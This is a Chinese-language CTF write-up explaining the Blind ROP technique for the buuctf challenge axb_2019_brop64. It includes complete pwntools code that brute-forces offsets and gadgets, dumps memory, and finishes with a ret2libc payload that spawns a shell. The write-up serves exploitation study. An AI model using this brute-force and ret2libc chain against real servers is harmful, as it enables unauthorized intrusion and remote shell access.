前言|与BROP的相遇
题目：buuctf-axb_2019_brop64
BROP的发现与利用思想简介
关于一篇论文
bittau-brop.pdf
BROP(Blind ROP)，于 2014 年由 Standford 的 Andrea Bittau 提出，这种攻击方式是实现在无源代码和二进程程序的情况下对运行中的程序进行攻击。
利用思想
从调用机制上去理解
或许我们不知道main函数中调用了什么，但在main之前的一切，我们是知道的，也就是我们可以利用main函数，内核层在调用main时，所残留的gadget
- 我们的目标
- 能让这个程序挂住，能让这个程序泄露，能让这个程序实现人为函数调用，最终我们要控制
条件依赖
- 程序存在栈溢出漏洞
- 服务器端的进程在崩溃之后会重新启动，并且重新启动的进程的地址与先前的地址一样。
- nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的
- 这意味着: 栈中的canary是固定的,不会重置
利用思路
BROP的攻击思路一般有以下几个步骤：（挺模板的）
1.暴力枚举，获取栈溢出长度，如果程序开启了Canary ，顺便将canary也可以爆出来
2.寻找可以返回到程序main函数的gadget,通常被称为stop_gadget
3.利用stop_gadget寻找可利用(potentially useful)gadgets，如:pop rdi; ret
4.寻找BROP Gadget，可能需要诸如write、put等函数的系统调用
5.寻找相应的PLT地址
6.dump远程内存空间
7.拿到相应的GOT内容后，泄露出libc的内存信息，最后利用rop完成getshell
1.确定栈溢出的长度|偏移量
通过爆破确定栈溢出的长度, 如果存在Canary则顺便把Canary爆破出来.
爆破Canary也称之为Stack Reading, 因为可以用相同的方式把栈上所有的数据都爆破出来.
+---------------------------+
| ret |
+---------------------------+
| a | 递增a字符串覆盖ebp位置
ebp--->+---------------------------+
| a+ | 递增a字符串占位填满栈空间
| .... | .....
| a+ | 递增a字符串占位填满栈空间
| a+ | 递增a字符串占位填满栈空间
| a+ | 递增a字符串占位填满栈空间
| a+ | 递增a字符串占位填满栈空间
input-->+---------------------------+
def offset_find( ):
offset = 0
while True:
try:
offset += 1
#io = remote("node4.buuoj.cn",25526)
io = process('./pwn')
io.recvuntil(b'Please tell me:')
io.send(b'A'*offset)
if b'Goodbye!' not in io.recvall():
raise 'Programe not exit normally!'
io.close()
except Exception:
log.success('The true offset->ebp length is '+ str(offset -1))
return offset - 1
2.寻找stop gadgets：
对于这道题而言，我们的目标是寻找main，这样就能无限返回main函数，无限进攻尝试！
+---------------------------+
| 0x400000+ | 递增地址覆盖原ret返回位置
+---------------------------+
| a | a字符覆盖ebp位置
ebp--->+---------------------------+
| a | a字符覆盖ebp位置
| a | a字符覆盖ebp位置
| a | a字符覆盖ebp位置
| a | a字符覆盖ebp位置
| a | a字符覆盖ebp位置
input-->+---------------------------+
def min_find(offset):
#io = remote("node4.buuoj.cn",25526)
io = process('./pwn')
io.recvuntil(b'Please tell me:')
io.send(b'A'*offset)
io.recvuntil(b'A'*offset)
old_return_addr = u64(io.recvuntil(b'G')[:-1].ljust(8,b'\x00')) #need 8 byte
print(hex(old_return_addr))
io.close()
return old_return_addr
def stop_find(old_return_addr,offset):
stop_addr = 0x07d0 #0x0000 #low-bit
while True:
try:
#io = remote("node4.buuoj.cn",25526)
io = process("./pwn")
io.recvuntil(b"Please tell me:")
io.send(b'A' * offset + p64(old_return_addr + stop_addr))
print(hex(stop_addr))
if stop_addr > 0xFFFF:
log.error("All low byte is wrong!")
if b"Hello" in io.recvall( ):
log.success("We found a stop gadget is " + hex(old_return_addr+stop_addr))
return (old_return_addr + stop_addr)
stop_addr = stop_addr + 1
except Exception:
io.close()
3.寻找brop-gadget
+---------------------------+
| pop rbx | 0x00
+---------------------------+
| pop rbp | 0x01
+---------------------------+
| pop r12 | 0x02
+---------------------------+
| pop r13 | 0x04
+---------------------------+
| pop r14 | 0x06
+---------------------------+------------------->pop rsi;ret 0x07
| pop r15 | 0x08
+---------------------------+------------------->pop rdi;ret 0x09
| ret | 0x10
-----------------------------
//利用了gadget的结构，来确实是否为我们的要的那个gadget
+---------------------------+
| traps | <----- traps，程序中不存在的地址，当IP指针指向该处时崩溃
+---------------------------+
| .... | <----- traps，程序中不存在的地址，当IP指针指向该处时崩溃
+---------------------------+
| traps | <----- traps，程序中不存在的地址，当IP指针指向该处时崩溃
+---------------------------+
| traps | <----- traps，程序中不存在的地址，当IP指针指向该处时崩溃
+---------------------------+
| traps | <----- traps，程序中不存在的地址，当IP指针指向该处时崩溃
+---------------------------+
| stop | <----- stop gadget，不会使程序崩溃，作为probe的ret位
+---------------------------+
| probe | <----- 探针
-----------------------------
对于这道题，我们的目标是pop_rdi_ret
+---------------------------+
| 0 | trap
+---------------------------+
| ..... | trap
+---------------------------+
| 0 | trap
+---------------------------+
| stop gadget | stop gadget作为ret返回地址
+---------------------------+
| 0 | trap
+---------------------------+
| 0 | trap
+---------------------------+
| 0 | trap
+---------------------------+
| 0 | trap
+---------------------------+
| 0 | trap
+---------------------------+
| 0 | trap
+---------------------------+
| 0x400740+ | 递增地址覆盖原ret返回位置
+---------------------------+
| a | a字符串覆盖原saved ebp位置
ebp--->+---------------------------+
| a | a字符串占位填满栈空间
| .... | .....
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
our input-->+---------------------------+
def brop_find(stop_addr,offset):
addr = 0x400950 #0x400000
while True:
try:
#io = remote("node4.buuoj.cn",25526)
io = process("./pwn")
io.recvuntil(b"Please tell me:")
print(hex(addr)) #careful!
payload = b'a'*offset + p64(addr) + p64(0)*6 + p64(stop_addr)
io.send(payload)
if b'Hello' in io.recvall(timeout=1):
log.success("We find the brop_gadget " + hex(addr))
return hex(addr)
addr += 1
except Exception:
io.close()
4.寻找puts-plt
对于寻找的思路，我们依旧是暴力枚举，(爆破范围是0x0000~0xFFFF)，基址为0x400000
+---------------------------+
| stop gadget | stop gadget确保程序不崩溃
+---------------------------+
| 0x400000+ | 循环递增地址，作为pop的ret地址
+---------------------------+
| 0x400000 | ELF起始地址，地址内存放'\x7fELF'
+---------------------------+
| 0x40095a + 0x9 | pop rdi；ret地址覆盖原ret返回位置
+---------------------------+
| a | a字符串覆盖ebp位置
ebp--->+---------------------------+
| a | a字符串占位填满栈空间
| .... | .....
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
our input-->+---------------------------+
def func_plt_find(plt_base, offset, stop_addr, pop_rdi_ret):
maybe_low_byte = 0x0630 #0x0000
while True:
try:
#io = remote("node4.buuoj.cn",25526)
io = process('./pwn')
io.recvuntil(b"Please tell me:")
payload = b'A' * offset
payload += p64(pop_rdi_ret)
payload += p64(0x400000)
payload += p64(plt_base+ maybe_low_byte)
payload += p64(stop_addr)
print(hex(maybe_low_byte))
io.send(payload)
if maybe_low_byte > 0xFFFF:
log.error("All low byte is wrong!")
if b"ELF" in io.recvall(timeout=1):
log.success("We found a function plt address is " + hex(plt_base + maybe_low_byte))
return hex(plt_base + maybe_low_byte)
maybe_low_byte = maybe_low_byte + 1
except:
io.close()
5.dump出got地址
def leak(offset,pop_rdi_ret,func_plt,leak_addr,stop_addr):
io = process('./pwn')
#io = remote("node4.buuoj.cn",25526)
payload = b'a'*offset + p64(pop_rdi_ret) + p64(leak_addr) + p64(func_plt) + p64(stop_addr)
io.recvuntil(b"Please tell me:")
io.sendline(payload)
io.recvuntil(b'a'*offset)
io.recv(3) #0x400635 -> 3byte \x00 stop !!!
try:
output = io.recv(timeout = 1)
io.close()
try:
output = output[:output.index(b"\nHello,I am a computer")]
print(output)
except Exception:
output = output
if output == b"":
output = b"\x00"
return output
except Exception:
io.close()
return None
def dump_file(offset,pop_rdi_ret,puts_plt,addr,stop_addr):
result =b''
while addr < 0x400835:
print(hex(addr))
output = leak(offset, pop_rdi_ret,puts_plt,addr,stop_addr)
if output is None:
result += b'\x00'
addr += 1
continue
else:
result += output
addr += len(output)
with open('dump_file','wb') as f:
f.write(result)
6.常规的retlibc解决即可
def attack(offset,pop_rdi_ret,puts_got,puts_plt,stop_addr):
context(log_level='debug',arch = 'amd64',os = 'linux')
io = process('./pwn')
#io = remote("node4.buuoj.cn",27462)
#libc = ELF('./libc-2.23.so')
elf = ELF('./pwn')
libc = elf.libc
ret = 0x40095a + 0x9 + 0x5
payload = b'a'*offset
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(stop_addr)
io.recvuntil(b"Please tell me:")
io.sendline(payload)
io.recvuntil(b'a'*offset)
io.recv(3)
func_addr = io.recv(6)
puts_address = u64(func_addr.ljust(8,b'\x00'))
print(hex(puts_address))
#libc=LibcSearcher('puts',puts_address)
#libcbase=puts_address-libc.dump('puts')
#system_address=libcbase+libc.dump('system')
#bin_sh=libcbase+libc.dump('str_bin_sh')
libcbase = puts_address - libc.symbols['puts']
system_address = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))
io.recvuntil(b"Please tell me:")
payload = b'a'*offset + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_address) + p64(stop_addr)
io.sendline(payload)
io.interactive()
小彩蛋：
最后的EXP
from pwn import *
from LibcSearcher import *
def offset_find( ):
offset = 0
while True:
try:
offset += 1
#io = remote("node4.buuoj.cn",25526)
io = process('./pwn')
io.recvuntil(b'Please tell me:')
io.send(b'A'*offset)
if b'Goodbye!' not in io.recvall():
raise 'Programe not exit normally!'
io.close()
except Exception:
log.success('The true offset->ebp length is '+ str(offset -1))
return offset - 1
def min_find(offset):
#io = remote("node4.buuoj.cn",25526)
io = process('./pwn')
io.recvuntil(b'Please tell me:')
io.send(b'A'*offset)
io.recvuntil(b'A'*offset)
old_return_addr = u64(io.recvuntil(b'G')[:-1].ljust(8,b'\x00')) #need 8 byte
print(hex(old_return_addr))
io.close()
return old_return_addr
def stop_find(old_return_addr,offset):
stop_addr = 0x07d0 #0x0000 #low-bit
while True:
try:
#io = remote("node4.buuoj.cn",25526)
io = process("./pwn")
io.recvuntil(b"Please tell me:")
io.send(b'A' * offset + p64(old_return_addr + stop_addr))
print(hex(stop_addr))
if stop_addr > 0xFFFF:
log.error("All low byte is wrong!")
if b"Hello" in io.recvall( ):
log.success("We found a stop gadget is " + hex(old_return_addr+stop_addr))
return (old_return_addr + stop_addr)
stop_addr = stop_addr + 1
except Exception:
io.close()
def brop_find(stop_addr,offset):
addr = 0x400950 #0x400000
while True:
try:
#io = remote("node4.buuoj.cn",25526)
io = process("./pwn")
io.recvuntil(b"Please tell me:")
print(hex(addr)) #careful!
payload = b'a'*offset + p64(addr) + p64(0)*6 + p64(stop_addr)
io.send(payload)
if b'Hello' in io.recvall(timeout=1):
log.success("We find the brop_gadget " + hex(addr))
return hex(addr)
addr += 1
except Exception:
io.close()
def func_plt_find(plt_base, offset, stop_addr, pop_rdi_ret):
maybe_low_byte = 0x0630 #0x0000
while True:
try:
#io = remote("node4.buuoj.cn",25526)
io = process('./pwn')
io.recvuntil(b"Please tell me:")
payload = b'A' * offset
payload += p64(pop_rdi_ret)
payload += p64(0x400000)
payload += p64(plt_base+ maybe_low_byte)
payload += p64(stop_addr)
print(hex(maybe_low_byte))
io.send(payload)
if maybe_low_byte > 0xFFFF:
log.error("All low byte is wrong!")
if b"ELF" in io.recvall(timeout=1):
log.success("We found a function plt address is " + hex(plt_base + maybe_low_byte))
return hex(plt_base + maybe_low_byte)
maybe_low_byte = maybe_low_byte + 1
except:
io.close()
def leak(offset,pop_rdi_ret,func_plt,leak_addr,stop_addr):
io = process('./pwn')
#io = remote("node4.buuoj.cn",25526)
payload = b'a'*offset + p64(pop_rdi_ret) + p64(leak_addr) + p64(func_plt) + p64(stop_addr)
io.recvuntil(b"Please tell me:")
io.sendline(payload)
io.recvuntil(b'a'*offset)
io.recv(3) #0x400635 -> 3byte \x00 stop !!!
try:
output = io.recv(timeout = 1)
io.close()
try:
output = output[:output.index(b"\nHello,I am a computer")]
print(output)
except Exception:
output = output
if output == b"":
output = b"\x00"
return output
except Exception:
io.close()
return None
def dump_file(offset,pop_rdi_ret,puts_plt,addr,stop_addr):
result =b''
while addr < 0x400835:
print(hex(addr))
output = leak(offset, pop_rdi_ret,puts_plt,addr,stop_addr)
if output is None:
result += b'\x00'
addr += 1
continue
else:
result += output
addr += len(output)
with open('dump_file','wb') as f:
f.write(result)
def attack(offset,pop_rdi_ret,puts_got,puts_plt,stop_addr):
context(log_level='debug',arch = 'amd64',os = 'linux')
io = process('./pwn')
#io = remote("node4.buuoj.cn",27462)
#libc = ELF('./libc-2.23.so')
elf = ELF('./pwn')
libc = elf.libc
ret = 0x40095a + 0x9 + 0x5
payload = b'a'*offset
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(stop_addr)
io.recvuntil(b"Please tell me:")
io.sendline(payload)
io.recvuntil(b'a'*offset)
io.recv(3)
func_addr = io.recv(6)
puts_address = u64(func_addr.ljust(8,b'\x00'))
print(hex(puts_address))
#libc=LibcSearcher('puts',puts_address)
#libcbase=puts_address-libc.dump('puts')
#system_address=libcbase+libc.dump('system')
#bin_sh=libcbase+libc.dump('str_bin_sh')
libcbase = puts_address - libc.symbols['puts']
system_address = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))
io.recvuntil(b"Please tell me:")
payload = b'a'*offset + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_address) + p64(stop_addr)
io.sendline(payload)
io.interactive()
offset = 216 #offset_find()
old_return_addr = 0x400000 #min_find(offset) #0x400834
stop_addr = 0x4007d6 #stop_find(old_return_addr,offset) #0x4007d6
brop_gadget = 0x40095a #brop_find(stop_addr,offset) #0x40095a
pop_rdi_ret =brop_gadget + 0x9
plt_base = 0x400000
puts_plt = 0x400635 #func_plt_find(plt_base,offset,stop_addr,pop_rdi_ret)
puts_got = 0x601018 #dump_file(offset,pop_rdi_ret,puts_plt,0x400000,stop_addr)
#offset_find()
#min_find(offset)
#stop_find(old_return_addr,offset)
#brop_find(stop_addr,offset)
#func_plt_find(plt_base,offset,stop_addr,pop_rdi_ret)
#dump_file(offset,pop_rdi_ret,puts_plt,0x400000,stop_addr)
attack(offset,pop_rdi_ret,puts_got,puts_plt,stop_addr)